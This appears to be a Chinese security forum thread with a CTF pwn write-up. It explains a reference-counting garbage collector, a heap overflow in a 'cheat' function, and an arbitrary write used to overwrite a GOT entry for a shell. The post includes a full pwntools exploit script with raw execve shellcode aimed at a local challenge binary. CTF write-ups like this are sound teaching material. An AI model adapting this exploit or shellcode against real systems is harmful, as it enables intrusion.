首页
社区
课程
招聘
[原创]PWN题目
发表于: 2017-10-23 12:46 3595

[原创]PWN题目

2017-10-23 12:46
3595
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 799
活跃值: (457)
能力值: ( LV12,RANK:280 )
在线值:
发帖
回帖
粉丝
2
 

这道题出题时的想法是把实际漏洞环境中比较常见的GC结合进CTF中的Linux Pwn题目中,但是比较遗憾的是水平有限没能够在出题时间内完成整个GC的漏洞设计,所以只好做了简化并构造了漏洞,因此这个利用的难度其实比较简单。
首先,解释一下什么是GC,GC一般称作垃圾回收,设计GC的目的是为了给程序员提供自动的内存管理,这样程序员就不需要手动的去释放内存了。因为程序员手动管理内存往往会产生内存泄漏等问题,所以现在一般的脚本语言或者虚拟机往往都存在有GC,比如java虚拟机、javascript引擎等等。
但是,在实际环境中GC也是漏洞的高发地带,比如在IE浏览器mshtml中各种DOM对象都是基于引用计数进行内存管理的,复杂的引用计数关系导致出现了大量的Use-After-Free漏洞。
在这道题目中,涉及到了一个基础的引用计数法(Reference Counting Collector)GC,当程序分配内存之后会自动维护对于每个块的引用技术,当检测到某个块的计数为0时就会把它回收以便进行下一次使用。

 

但是在进行内存回收时,这个块中可能会存在对其它块的引用,因此释放此块时需要对块中所有的指针进行判断,如果判定是由GC维护的块就需要对指针指向的块也做引用计数减一的操作。

 

TIM截图20171104195621.png-4.4kB

 

这道题目中cheat功能存在一个堆溢出漏洞,通过堆溢出可以控制到GC的指针结构,之后通过触发回收可以造成一个任意地址写固定值的操作,通过任意地址写控制函数的got表内容就可以实现getshell。

from pwn import *     
import time
from ctypes import *
import os, sys


def uint32(x):
    return c_uint32(x).value

def log(str):
     log.info(str)

def info(string):
    return log.info(string)

def js(str):
     return io.recvuntil(str)

def jsn(num):
     if num:
          return io.recvn(num+1)
     else:
          return io.recvn(num)

def fs(str):
     io.sendline(str)

def fsn(str):
     io.send(str)

def stop():
     while 1:
      time.sleep(1)

def shell():
    io.interactive()

def mark(name,vaule):
    string='\n=====>'+str(name)+' :'+str(vaule)+'\n'
    print string

def dbg(string):
    raw_input(string)

def shellcode():
    return asm(shellcraft.amd64.linux.sh())


###setting

local=1
debug=0
log=1     

if local:
     io=process('./pwn')
     #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
     io=remote('127.0.0.1',10086)
     libc = ELF('./libc')
if log:
     context(log_level='debug')
if debug:
     gdb.attach(io)

#user code =============================
def signup():
    js('2.Signup')
    fs('2')
    js('input your username')
    fs('1')
    js('input your password')
    fs('1')
    js('input your character')
    fs('1')

def login():
    js('2.Signup')
    fs('1')
    js('Input your username:')
    fs('1')
    js('Input your password:')
    fs('1')

def goto():
    js('0.exit')
    fs('3')
    js('6.Primorsk')
    fs('1')

def explore():
    js('0.exit')
    fs('4')
    try:
        js('Do you want to pick up it?')
    except Exception:
    js('nothing found')
        return False
    fs('y')
    return True

def view_package():
    js('0.exit')
    fs('2')

def del_item(num):
    js('Your Choice:')
    fs(str(num))
    js('2.return')
    fs('1')
    js('2.return')
    fs('2')
    js('Your Choice:')
    fs('8')

def cheat():
    js('0.exit')
    fs('5')
    js('name')
    fs('1')
    js('content')
    fs('123')

def overflow(str):
    js('0.exit')
    fs('5')
    js('content')
    fs(str)

def get_shell():
    js('0.exit')
    fs('y')
    fs('1')
    js('Input your username:')
    fs('1')
    js('Input your password:')
    fs('1')
    shell()

if __name__=='__main__' :
    signup()
    login()    
    goto()
    cheat()

    if False==explore():
        mark('try again')

    if False==explore():
        mark('try again')

    payload='a'*32+p64(0x1)+p64(0x18)+p64(0x0605058)+p64(0x0)+p64(0x1)
    overflow(payload)
    view_package()
    del_item(1)
    payload2=7*8*2*'a'+"\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    overflow(payload2)
    get_shell()
2017-11-4 20:15
0
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
3
很有意思的一道题啊
2017-11-7 19:56
0
游客
登录 | 注册 方可回帖
返回
//